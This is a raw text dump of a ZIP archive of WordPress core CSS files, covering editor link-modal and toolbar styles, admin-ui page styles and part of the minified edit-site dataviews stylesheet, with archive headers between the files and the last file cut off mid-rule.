.mce-toolbar.mce-first, .has-dfw .quicktags-toolbar { padding-left: 40px; } } @media screen and (min-width: 782px) { .wp-core-ui .quicktags-toolbar input.button.button-small { /* .button-small is normally 11px, but a bit too small for these buttons. */ font-size: 12px; min-height: 26px; line-height: 2; } } #wp_editbtns, #wp_gallerybtns { padding: 2px; position: absolute; display: none; z-index: 100020; } #wp_editimgbtn, #wp_delimgbtn, #wp_editgallery, #wp_delgallery { background-color: #f0f0f1; margin: 2px; padding: 2px; border: 1px solid #8c8f94; border-radius: 3px; } #wp_editimgbtn:hover, #wp_delimgbtn:hover, #wp_editgallery:hover, #wp_delgallery:hover { border-color: #50575e; background-color: #c3c4c7; } /*------------------------------------------------------------------------------ wp-link ------------------------------------------------------------------------------*/ #wp-link-wrap { display: none; background-color: #fff; box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3); width: 500px; overflow: hidden; margin-right: -250px; margin-top: -125px; position: fixed; top: 50%; right: 50%; z-index: 100105; transition: height 0.2s, margin-top 0.2s; } #wp-link-backdrop { display: none; position: fixed; top: 0; right: 0; left: 0; bottom: 0; min-height: 360px; background: #000; opacity: 0.7; filter: alpha(opacity=70); z-index: 100100; } #wp-link { position: relative; height: 100%; } #wp-link-wrap { height: 600px; margin-top: -300px; } #wp-link-wrap .wp-link-text-field { display: none; } #wp-link-wrap.has-text-field .wp-link-text-field { display: block; } #link-modal-title { background: #fff; border-bottom: 1px solid #dcdcde; font-size: 18px; font-weight: 600; line-height: 2; margin: 0; padding: 0 16px 0 36px; } #wp-link-close { color: #646970; padding: 0; position: absolute; top: 0; left: 0; width: 36px; height: 36px; text-align: center; background: none; border: none; cursor: pointer; } #wp-link-close:before { font: normal 20px/36px dashicons; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; width: 36px; height: 36px; content: "\f158"; content: "\f158" / ''; } #wp-link-close:hover, #wp-link-close:focus { color: #135e96; } #wp-link-close:focus { box-shadow: 0 0 0 2px #2271b1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -2px; } #wp-link-wrap #link-selector { -webkit-overflow-scrolling: touch; padding: 0 16px; position: absolute; top: calc(2.15384615em + 16px); right: 0; left: 0; bottom: calc(2.15384615em + 19px); display: flex; flex-direction: column; overflow: auto; } #wp-link ol, #wp-link ul { list-style: none; margin: 0; padding: 0; } #wp-link input[type="text"] { box-sizing: border-box; } #wp-link #link-options { padding: 8px 0 12px; } #wp-link p.howto { margin: 3px 0; } #wp-link p.howto a { text-decoration: none; color: inherit; } #wp-link label input[type="text"] { margin-top: 5px; width: 70%; } #wp-link #link-options label span, #wp-link #search-panel label span.search-label { display: inline-block; width: 120px; text-align: left; padding-left: 5px; max-width: 24%; vertical-align: middle; word-wrap: break-word; } #wp-link .link-search-field { width: 250px; max-width: 70%; } #wp-link .link-search-wrapper { margin: 5px 0 9px; display: block; } #wp-link .query-results { position: absolute; width: calc(100% - 32px); } #wp-link .link-search-wrapper .spinner { float: none; margin: -3px 4px 0 0; } #wp-link .link-target { padding: 3px 0 0; } #wp-link .link-target label { max-width: 70%; } #wp-link .query-results { border: 1px #dcdcde solid; margin: 0 0 12px; background: #fff; overflow: auto; max-height: 290px; } #wp-link li { clear: both; margin-bottom: 0; border-bottom: 1px solid #f0f0f1; color: #2c3338; padding: 4px 10px 4px 6px; cursor: pointer; position: relative; } #wp-link .query-notice { padding: 0; border-bottom: 1px solid #dcdcde; background-color: #fff; color: #000; } #wp-link .query-notice .query-notice-default, #wp-link .query-notice .query-notice-hint { display: block; padding: 6px; border-right: 4px solid #72aee6; } #wp-link .unselectable.no-matches-found { padding: 0; border-bottom: 1px solid #dcdcde; background-color: #f6f7f7; } #wp-link .no-matches-found .item-title { display: block; padding: 6px; border-right: 4px solid #d63638; } #wp-link .query-results em { font-style: normal; } #wp-link li:hover { background: #f0f6fc; color: #101517; } #wp-link li.unselectable { border-bottom: 1px solid #dcdcde; } #wp-link li.unselectable:hover { background: #fff; cursor: auto; color: #2c3338; } #wp-link li.selected { background: #dcdcde; color: #2c3338; } #wp-link li.selected .item-title { font-weight: 600; } #wp-link li:last-child { border: none; } #wp-link .item-title { display: inline-block; width: 80%; width: calc(100% - 68px); word-wrap: break-word; } #wp-link .item-info { text-transform: uppercase; color: #646970; font-size: 11px; position: absolute; left: 5px; top: 5px; } #wp-link .river-waiting { display: none; padding: 10px 0; } #wp-link .submitbox { padding: 8px 16px; background: #fff; border-top: 1px solid #dcdcde; position: absolute; bottom: 0; right: 0; left: 0; } #wp-link-cancel { line-height: 1.92307692; float: right; } #wp-link-update { line-height: 1.76923076; float: left; } #wp-link-submit { float: left; } @media screen and (max-width: 782px) { #link-selector { padding: 0 16px 60px; } #wp-link-wrap #link-selector { bottom: calc(2.71428571em + 23px); } #wp-link-cancel { line-height: 2.46153846; } #wp-link .link-target { padding-top: 10px; } #wp-link .submitbox .button { margin-bottom: 0; } } @media screen and (max-width: 520px) { #wp-link-wrap { width: auto; margin-right: 0; right: 10px; left: 10px; max-width: 500px; } } @media screen and (max-height: 620px) { #wp-link-wrap { transition: none; height: auto; margin-top: 0; top: 10px; bottom: 10px; } #link-selector { overflow: auto; } } @media screen and (max-height: 290px) { #wp-link-wrap { height: auto; margin-top: 0; top: 10px; bottom: 10px; } #link-selector { overflow: auto; height: calc(100% - 92px); padding-bottom: 2px; } } div.wp-link-preview { float: right; margin: 5px; max-width: 694px; overflow: hidden; text-overflow: ellipsis; } div.wp-link-preview a { color: #2271b1; text-decoration: underline; transition-property: border, background, color; transition-duration: .05s; transition-timing-function: ease-in-out; cursor: pointer; } div.wp-link-preview a.wplink-url-error { color: #d63638; } .mce-inline-toolbar-grp div.mce-flow-layout-item > div { display: flex; align-items: flex-end; } div.wp-link-input { float: right; margin: 2px; max-width: 694px; } div.wp-link-input label { margin-bottom: 4px; display: block; } div.wp-link-input input { width: 300px; padding: 3px; box-sizing: border-box; line-height: 1.28571429; /* 18px */ /* Override value inherited from default input fields. */ min-height: 26px; } .mce-toolbar div.wp-link-preview ~ .mce-btn, .mce-toolbar div.wp-link-input ~ .mce-btn { margin: 2px 1px; } .mce-inline-toolbar-grp .mce-btn-group .mce-btn:last-child { margin-left: 2px; } .ui-autocomplete.wplink-autocomplete { z-index: 100110; max-height: 200px; overflow-y: auto; padding: 0; margin: 0; list-style: none; position: absolute; border: 1px solid #4f94d4; box-shadow: 0 1px 2px rgba(79, 148, 212, 0.8); background-color: #fff; } .ui-autocomplete.wplink-autocomplete li { margin-bottom: 0; padding: 4px 10px; clear: both; white-space: normal; text-align: right; } .ui-autocomplete.wplink-autocomplete li .wp-editor-float-right { float: left; } .ui-autocomplete.wplink-autocomplete li.ui-state-focus { background-color: #dcdcde; cursor: pointer; } @media screen and (max-width: 782px) { div.wp-link-preview, div.wp-link-input { max-width: 70%; max-width: calc(100% - 86px); } div.wp-link-preview { margin: 8px 5px 8px 0; } div.wp-link-input { width: 300px; } div.wp-link-input input { width: 100%; font-size: 16px; padding: 5px; } } /* =Overlay Body -------------------------------------------------------------- */ .mce-fullscreen { z-index: 100010; } /* =Localization -------------------------------------------------------------- */ .rtl .wp-switch-editor, .rtl .quicktags-toolbar input { font-family: Tahoma, sans-serif; } /* rtl:ignore */ .mce-rtl .mce-flow-layout .mce-flow-layout-item > div { direction: rtl; } /* rtl:ignore */ .mce-rtl .mce-listbox i.mce-caret { left: 6px; } html:lang(he-il) .rtl .wp-switch-editor, html:lang(he-il) .rtl .quicktags-toolbar input { font-family: Arial, sans-serif; } /* HiDPI */ @media print, (min-resolution: 120dpi) { .wp-media-buttons .add_media span.wp-media-buttons-icon { background: none; } } PK!ðP]™™#css/wp-empty-template-alert.min.cssnuȯÝí/*! This file is auto-generated */ #wp-empty-template-alert{display:flex;padding:var(--wp--style--root--padding-right,2rem);min-height:60vh;flex-direction:column;align-items:center;justify-content:center;gap:var(--wp--style--block-gap,2rem)}#wp-empty-template-alert>*{max-width:400px}#wp-empty-template-alert h2,#wp-empty-template-alert p{margin:0;text-align:center}#wp-empty-template-alert a{margin-top:1rem}PK!—w2NNcss/dist/admin-ui/style-rtl.cssnuȯÝí.admin-ui-page{ background-color:#fff; color:#2f2f2f; container:admin-ui-page/inline-size; display:flex; flex-flow:column; height:100%; position:relative; z-index:1; } @media not (prefers-reduced-motion){ .admin-ui-page{ transition:width .2s ease-out; } } .admin-ui-page__header{ background:#fff; border-bottom:1px solid #f0f0f0; padding:16px 48px; position:sticky; top:0; } @container (max-width: 430px){ .admin-ui-page__header{ padding:16px 24px; } } .admin-ui-page__header-subtitle{ color:#757575; font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; font-weight:400; line-height:20px; margin:0; padding-block-end:8px; } .admin-ui-page__content{ display:flex; flex-direction:column; flex-grow:1; overflow:auto; } .admin-ui-page__content.has-padding{ padding:16px 20px; } @container (max-width: 430px){ .admin-ui-page__content.has-padding{ padding:16px 24px; } } .show-icon-labels .admin-ui-page__header-actions .components-button.has-icon{ padding:0 8px; width:auto; } .show-icon-labels .admin-ui-page__header-actions .components-button.has-icon svg{ display:none; } .show-icon-labels .admin-ui-page__header-actions .components-button.has-icon:after{ content:attr(aria-label); font-size:12px; }PK!‘3xY¯¯#css/dist/admin-ui/style-rtl.min.cssnuȯÝí.admin-ui-page{background-color:#fff;color:#2f2f2f;container:admin-ui-page/inline-size;display:flex;flex-flow:column;height:100%;position:relative;z-index:1}@media not (prefers-reduced-motion){.admin-ui-page{transition:width .2s ease-out}}.admin-ui-page__header{background:#fff;border-bottom:1px solid #f0f0f0;padding:16px 48px;position:sticky;top:0}@container (max-width: 430px){.admin-ui-page__header{padding:16px 24px}}.admin-ui-page__header-subtitle{color:#757575;font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;line-height:20px;margin:0;padding-block-end:8px}.admin-ui-page__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto}.admin-ui-page__content.has-padding{padding:16px 20px}@container (max-width: 430px){.admin-ui-page__content.has-padding{padding:16px 24px}}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon{padding:0 8px;width:auto}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon svg{display:none}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon:after{content:attr(aria-label);font-size:12px}PK!‘3xY¯¯css/dist/admin-ui/style.min.cssnuȯÝí.admin-ui-page{background-color:#fff;color:#2f2f2f;container:admin-ui-page/inline-size;display:flex;flex-flow:column;height:100%;position:relative;z-index:1}@media not (prefers-reduced-motion){.admin-ui-page{transition:width .2s ease-out}}.admin-ui-page__header{background:#fff;border-bottom:1px solid #f0f0f0;padding:16px 48px;position:sticky;top:0}@container (max-width: 430px){.admin-ui-page__header{padding:16px 24px}}.admin-ui-page__header-subtitle{color:#757575;font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;line-height:20px;margin:0;padding-block-end:8px}.admin-ui-page__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto}.admin-ui-page__content.has-padding{padding:16px 20px}@container (max-width: 430px){.admin-ui-page__content.has-padding{padding:16px 24px}}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon{padding:0 8px;width:auto}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon svg{display:none}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon:after{content:attr(aria-label);font-size:12px}PK!—w2NNcss/dist/admin-ui/style.cssnuȯÝí.admin-ui-page{ background-color:#fff; color:#2f2f2f; container:admin-ui-page/inline-size; display:flex; flex-flow:column; height:100%; position:relative; z-index:1; } @media not (prefers-reduced-motion){ .admin-ui-page{ transition:width .2s ease-out; } } .admin-ui-page__header{ background:#fff; border-bottom:1px solid #f0f0f0; padding:16px 48px; position:sticky; top:0; } @container (max-width: 430px){ .admin-ui-page__header{ padding:16px 24px; } } .admin-ui-page__header-subtitle{ color:#757575; font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; font-weight:400; line-height:20px; margin:0; padding-block-end:8px; } .admin-ui-page__content{ display:flex; flex-direction:column; flex-grow:1; overflow:auto; } .admin-ui-page__content.has-padding{ padding:16px 20px; } @container (max-width: 430px){ .admin-ui-page__content.has-padding{ padding:16px 24px; } } .show-icon-labels .admin-ui-page__header-actions .components-button.has-icon{ padding:0 8px; width:auto; } .show-icon-labels .admin-ui-page__header-actions .components-button.has-icon svg{ display:none; } .show-icon-labels .admin-ui-page__header-actions .components-button.has-icon:after{ content:attr(aria-label); font-size:12px; }PK!Ýhê÷¥Ä¥Ä css/dist/edit-site/style.min.cssnuȯÝí@charset "UTF-8";.admin-ui-page{background-color:#fff;color:#2f2f2f;container:admin-ui-page/inline-size;display:flex;flex-flow:column;height:100%;position:relative;z-index:1}@media not (prefers-reduced-motion){.admin-ui-page{transition:width .2s ease-out}}.admin-ui-page__header{background:#fff;border-bottom:1px solid #f0f0f0;padding:16px 48px;position:sticky;top:0}@container (max-width: 430px){.admin-ui-page__header{padding:16px 24px}}.admin-ui-page__header-subtitle{color:#757575;font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;line-height:20px;margin:0;padding-block-end:8px}.admin-ui-page__content{display:flex;flex-direction:column;flex-grow:1;overflow:auto}.admin-ui-page__content.has-padding{padding:16px 20px}@container (max-width: 430px){.admin-ui-page__content.has-padding{padding:16px 24px}}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon{padding:0 8px;width:auto}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon svg{display:none}.show-icon-labels .admin-ui-page__header-actions .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.dataviews-picker-wrapper,.dataviews-wrapper{box-sizing:border-box;container:dataviews-wrapper/inline-size;display:flex;flex-direction:column;font-size:13px;height:100%;line-height:1.4;overflow:auto;scroll-padding-bottom:64px}.dataviews-filters__container,.dataviews__view-actions{box-sizing:border-box;flex-shrink:0;left:0;padding:16px 48px;position:sticky}@media not (prefers-reduced-motion){.dataviews-filters__container,.dataviews__view-actions{transition:padding .1s ease-out}}.dataviews-loading,.dataviews-no-results{align-items:center;display:flex;flex-grow:1;justify-content:center;padding:0 48px}@media not (prefers-reduced-motion){.dataviews-loading,.dataviews-no-results{transition:padding .1s ease-out}}.dataviews-loading-more{text-align:center}@container (max-width: 430px){.dataviews-filters__container,.dataviews__view-actions{padding:12px 24px}.dataviews-loading,.dataviews-no-results{padding-left:24px;padding-right:24px}}.dataviews-title-field{font-size:13px;font-weight:500;width:100%}.dataviews-title-field,.dataviews-title-field a{color:#2f2f2f;text-overflow:ellipsis;white-space:nowrap}.dataviews-title-field a{display:block;flex-grow:0;overflow:hidden;text-decoration:none}.dataviews-title-field a:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field a:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.dataviews-title-field button.components-button.is-link{color:#1e1e1e;display:block;font-weight:inherit;overflow:hidden;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;width:100%}.dataviews-title-field button.components-button.is-link:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field--clickable{color:#2f2f2f;cursor:pointer}.dataviews-title-field--clickable:hover{color:var(--wp-admin-theme-color)}.dataviews-title-field--clickable:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.components-card__body:has(>.dataviews-picker-wrapper),.components-card__body:has(>.dataviews-wrapper){overflow:hidden;padding:8px 0 0}.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-filters__container,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-footer,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-loading,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-no-results,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-grid,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews__view-actions,.components-card__body:has(>.dataviews-wrapper) .dataviews-filters__container,.components-card__body:has(>.dataviews-wrapper) .dataviews-footer,.components-card__body:has(>.dataviews-wrapper) .dataviews-loading,.components-card__body:has(>.dataviews-wrapper) .dataviews-no-results,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-grid,.components-card__body:has(>.dataviews-wrapper) .dataviews__view-actions{padding-inline:24px}.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr td:first-child,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr th:first-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr td:first-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr th:first-child{padding-inline-start:24px}.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr td:last-child,.components-card__body:has(>.dataviews-picker-wrapper) .dataviews-view-table tr th:last-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr td:last-child,.components-card__body:has(>.dataviews-wrapper) .dataviews-view-table tr th:last-child{padding-inline-end:24px}.dataviews-bulk-actions-footer__item-count{color:#1e1e1e;font-size:11px;font-weight:500;text-transform:uppercase}.dataviews-bulk-actions-footer__container{margin-right:auto;min-height:32px}.dataviews-filters__button{position:relative}.dataviews-filters__container{padding-top:0}.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true],.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:hover{opacity:0}.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:focus{opacity:1}.dataviews-filters__summary-popover{font-size:13px;line-height:1.4}.dataviews-filters__summary-popover .components-popover__content{border-radius:4px;max-width:250px;min-width:230px;width:100%}.dataviews-filters__summary-popover.components-dropdown__content .components-popover__content{padding:0}.dataviews-filters__summary-operators-container{padding:8px 16px}.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-listbox),.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-no-elements),.dataviews-filters__summary-operators-container:has(+.dataviews-filters__user-input-widget){border-bottom:1px solid #e0e0e0}.dataviews-filters__summary-operators-container:empty{display:none}.dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-name{color:#757575;flex-shrink:0;max-width:calc(100% - 55px);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-select{overflow:hidden;white-space:nowrap;width:100%}.dataviews-filters__summary-chip-container{position:relative;white-space:pre-wrap}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip{align-items:center;background:#f0f0f0;border:1px solid #0000;border-radius:16px;box-sizing:border-box;color:#2f2f2f;cursor:pointer;display:flex;min-height:32px;padding:4px 12px;position:relative}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.is-not-clickable{cursor:default}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-reset{padding-inline-end:28px}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:hover:not(.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.is-not-clickable),.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip[aria-expanded=true]{background:#e0e0e0;color:#1e1e1e}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values{background:rgba(var(--wp-admin-theme-color--rgb),.04);color:var(--wp-admin-theme-color)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values[aria-expanded=true]{background:rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip .dataviews-filters-__summary-filter-text-name{font-weight:500}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove{align-items:center;background:#0000;border:0;border-radius:50%;cursor:pointer;display:flex;height:24px;justify-content:center;padding:0;position:absolute;right:4px;top:50%;transform:translateY(-50%);width:24px}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove svg{fill:#757575}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover{background:#e0e0e0}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus svg,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:hover svg{fill:#1e1e1e}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values svg{fill:var(--wp-admin-theme-color)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove.has-values:hover{background:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip-remove:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filters__search-widget-filter-combobox-list{border-top:1px solid #e0e0e0;max-height:184px;overflow:auto;padding:4px}.dataviews-filters__search-widget-filter-combobox-list .dataviews-filters__search-widget-filter-combobox-item-value [data-user-value]{font-weight:600}.dataviews-filters__search-widget-listbox{overflow:auto;padding:4px}.dataviews-filters__search-widget-listitem{align-items:center;border-radius:2px;box-sizing:border-box;cursor:default;display:flex;font-family:-apple-system,"system-ui",Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;gap:8px;line-height:20px;min-height:32px;padding:4px 12px}.dataviews-filters__search-widget-listitem:last-child{margin-block-end:0}.dataviews-filters__search-widget-listitem:focus,.dataviews-filters__search-widget-listitem:hover,.dataviews-filters__search-widget-listitem[data-active-item]{background-color:var(--wp-admin-theme-color);color:#fff}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-description,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-description{color:#fff}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-single-selection,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-single-selection,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-single-selection{background:#fff;border-color:var(--wp-admin-theme-color-darker-20,#183ad6)}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-single-selection.is-selected,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-single-selection.is-selected,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-single-selection.is-selected{background:var(--wp-admin-theme-color-darker-20,#183ad6);border-color:var(--wp-admin-theme-color-darker-20,#183ad6)}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-multi-selection,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-multi-selection,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-multi-selection{border-color:var(--wp-admin-theme-color-darker-20,#183ad6)}.dataviews-filters__search-widget-listitem:focus .dataviews-filters__search-widget-listitem-multi-selection.is-selected,.dataviews-filters__search-widget-listitem:hover .dataviews-filters__search-widget-listitem-multi-selection.is-selected,.dataviews-filters__search-widget-listitem[data-active-item] .dataviews-filters__search-widget-listitem-multi-selection.is-selected{background:var(--wp-admin-theme-color-darker-20,#183ad6);border-color:var(--wp-admin-theme-color-darker-20,#183ad6)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-description{color:#757575;display:block;font-size:12px;line-height:16px;overflow:hidden;text-overflow:ellipsis}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{border:1px solid #1e1e1e;border-radius:50%;height:24px;margin-right:12px;max-width:24px;min-width:24px;position:relative;transition:none;width:24px}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{transition:box-shadow .1s linear}}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{height:16px;max-width:16px;min-width:16px;width:16px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked:before{background-color:#fff;border:4px solid #fff;box-sizing:inherit;height:12px;left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%);width:12px}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked:before{height:8px;width:8px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection:checked{background:var(--wp-admin-theme-color);border:none}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection{margin:0;padding:0}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected{background:var(--wp-admin-theme-color,#3858e9);border-color:var(--wp-admin-theme-color,#3858e9)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected:before{background-color:#fff;border:4px solid #fff;border-radius:50%;box-sizing:inherit;content:"";height:12px;left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%);width:12px}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-single-selection.is-selected:before{height:8px;width:8px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{--checkbox-size:24px;border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;margin-right:12px;padding:6px 8px;transition:none}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{transition:box-shadow .1s linear}}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{font-size:13px;line-height:normal}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection::-webkit-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection::-moz-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:-ms-input-placeholder{color:#1e1e1e9e}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked::-ms-check{opacity:0}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked:before,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{color:#fff;margin:-3px -5px}@media (min-width:782px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:checked:before,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{margin:-4px 0 0 -5px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{content:"\f460";display:inline-block;float:left;font:normal 30px/1 dashicons;vertical-align:middle;width:16px;speak:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@media (min-width:782px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-checked=mixed]:before{float:none;font-size:21px}}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection:disabled,.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection[aria-disabled=true]{background:#f0f0f0;border-color:#ddd;cursor:default;opacity:1}.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{background:#fff;color:#1e1e1e;height:var(--checkbox-size);margin:0;padding:0;position:relative;width:var(--checkbox-size)}@media (min-width:600px){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{--checkbox-size:16px}}@media not (prefers-reduced-motion){.dataviews-filters__search-widget-listitem .dataviews-filters__search-widget-listitem-multi-selection{transition:border-color .1s ease-in-out}}.dataviews-filters__search-widget-listitem 